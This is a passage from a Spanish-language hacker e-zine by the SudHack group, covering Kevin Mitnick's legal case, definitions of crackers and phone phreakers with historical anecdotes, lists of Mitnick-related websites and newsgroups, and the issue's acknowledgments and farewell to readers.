Se supone que los daños causados por Mitnick en los dos años y medio durante los cuales fue un fugitivo suman millones de dolares, especialmente por el software robado y las inversiones que debieron realizar las empresas para proteger sus sistemas. El asistente del fiscal David Schindler dijo que Mitnick -quien actualmente tiene 33 años- seria probablemente sentenciado a "muchos años" si es encontrado culpable, negandose, sin embargo, a ser mas especifico, bajo el argumento de que se trata de un area legal muy nueva. Todos los cargos bajo los cuales ha sido acusado Mitnick podrian suponerle mas de doscientos años de prision si es declarado culpable de todos ellos.

Ya en abril de este año el famoso hacker habia sido declarado culpable por un jurado de Carolina del Norte por el uso del quince números de teléfonos celulares robados para llamar a bases de datos electronicas. Igualmente se le condeno por haber violado el regimen de libertad condicional al que estaba sometido luego de ser encontrado culpable de penetrar ilegalmente en sistemas de información de corporaciones de informatica.

Mitnick: hacker, cracker y phone phreaker

La definición de un cracker es alguien que trata de violar el acceso a un sistema adquiriendo passwords. La mayoria de los crackers son adolescentes nada bondadosos y que buscan dar sus golpes destruyendo o alterando la data de un sistema. Tienden a unirse en grupos muy pequeños, secretos y cerrados al contrario de los inmensos, abierto y policulturales hackers.

Se espera que un verdadero hacker haga algo de crackin jugueton y conozca muchas de las tecnicas basicas, pero cualquiera que pase de la etapa de larva puede caer en la tentación y, debido a su creciente deseo de realizar algo por razones inmediatas, benignas y practicas, no vea nada de malo en invadir cierta seguridad y privacidad para poder lograr una meta.

Para el cracker el invadir un sistema no requiere de misteriosos estados de iluminación mental, pero si mucha persistencia y la testaruda repetición de trucos bien conocidos en los puntos debiles de un sistema, tratan de descubrir información clasificada hurgando al azar y con ciega persistencia.

Suele decirse que los crackers son solo hackers mediocres y que su nivel de educación e inteligencia sobre un sistema es menor.

Los phone phreaker son los mas famosos en los medios de comunicación por los desastres que han hecho a traves de los años. En los años 60 ya existian los Phone Phreaks y la gran victima era ATT. Uno de los mas famosos Phone Phreaks de esa epoca era John Draper, alias Captain Crunch (http://www.fc.net/phrack.html). El descubrio que modificando una caja de cereal podia producir el silbido que simulaba un tono de 2600 Hz para desbloquear el acceso a una troncal y poder hacer llamadas internacionales gratis.

Hace algun tiempo el hacer phreaking fue una actividad semi-respetable dentro de la comunidad hacker; habia un acuerdo de caballeros donde el hacer phreaking era bien visto como juego intelectual y como una forma de exploracion, pero el robo de servicios era tabu. La modernización de las redes hizo necesario que los phreakers utilizaran técnicas menos eticas, como robar números de calling cards: los obtenian colocandose cerca de algun teléfono publico y memorizando el numero de tarjeta que marcaba un usuario descuidado, una vez obtenido el numero y la clave la información era esparcida de tal manera que en un caso se llegaron a realizar 600 llamadas internacionales en dos minutos antes de que los operadores de seguridad del sistema la cancelaran.

Los lugares de "El Condor"

En el Web

The Fugitive Game. El Juego del Fugitivo. El usuario debe descubrir cual de los indiciados es el verdadero hacker.

Takedown. El "site" oficial de Tsutomu Shimomura, el talon de Aquiles de Mitnick. En Takedown se narra, paso a paso, la persecución contra el Condor hasta su captura. Incluye los archivos de sonido de los extraños mensajes que Shimomura recibio luego de la captura de Mitcnick. Curiosamente, este site fue "hackeado" meses luego de aparecer en el Web, supuestamente por miembros de un grupo autodenominado Frente de Liberación Nacional, el cual se supone formado por hackers capaces de penetrar en casi cualquier sistema.

Información general sobre Mitnick

Mitnick. Decenas de links a paginas relacionadas con este notorio experto.

Criminals? Un extenso reportaje de la revista 2600 sobre las recientes capturas de hackers en los Estados Unidos

Dedicado a uno de los mejores: Kevin Mitnick

En Newsgroups

alt.fan.kevin-mitnick Sobran las palabras
alt.2600 Un grupo de discusion creado por la revista por excelencia de los hackers: 2600

En e-mail

La direccion de correo de Kevin Mitnick es kmitnick@2600.com


AGRADECIMIENTOS

SudHack

Bueno, por supuesto que agradecemos a todos los que nos han descargado y a todos los que llegaron a esta parte de la e-zine, antes de mandarla a la papelera jajaj.
Bueno. queria agradecer a:

DonGat¯, que pertenece al clan de eXv¯luti¯n que nos contactamos y la verdad es muy buena persona, se jugó y nos mando algunos escritos. jaja

Keogh, quien no lo conoce, el webmaster de novahack, www.novahack.com
Nos pusimos en contácto con el y también arreglamos algunas sobre algunos textos.

Y a otras personas que nos ayudan sin que nadie los sepa :| jeejejje
Amd-Hack, mtvolution a hispabyte (ya saben, lo que antes era prehackers.... sisis, aunque no lo crean DeKiper nos contesto un mail a nosotros jajajja)
Y a todos los que hacen posible esta e-zine ayudandonos, aportando ideas, textos, algunos script y todo lo necesario.


DESPEDIDA

SudHack


Mándanos tus mail's con dudas, con regaños con pedidos o con lo que quieras, a la dirección que ya sabes, no me la hagas repetir tantas veces. e-zine@sudhack.zzn.com

Recuerda que estamos para ayudarte y/o enseñarte, y no para mostrarte "lo poco" que sabemos sin prestar ayuda.

Recuerda que para cualquier cosa tienes el foro, también recuerda que esos lugares son para compartir cosas con los demás, pero no para andar peleando con los demás. Además, te puedo asegurar que si entras a un chat de hacking, maltratando a los demás, no creo que dures mucho XD

También recuerda, que nosotros siempre queremos recibir críticas, para siempre poder mejorar la e-zine, pero también recuerda que nos gusta recibir estimulaciones para poder continuar con nuestros proyectos ;)

Por último recuerda que estaremos totalmente contentos si te nos quieres unir, ya sabes como se maneja esto, tu representas a tu país, o si no, eres, digamos, un secundario, con el verdadero webmaster, pueden hacer la web a medias cada uno, eso después lo ven ustedes.

Bueno, por hoy ya es suficiente, me parece que por el primer número, tienes bastante.
Espero que esta e-zine sea lo que has estado esperando tan ansiosamente o mas.

NOS VEMOS .... ESPERO QUE NOS VUELVAS A DESCARGAR EN MARZO .... (si es que llegamos) :p

HASTA LUEGO

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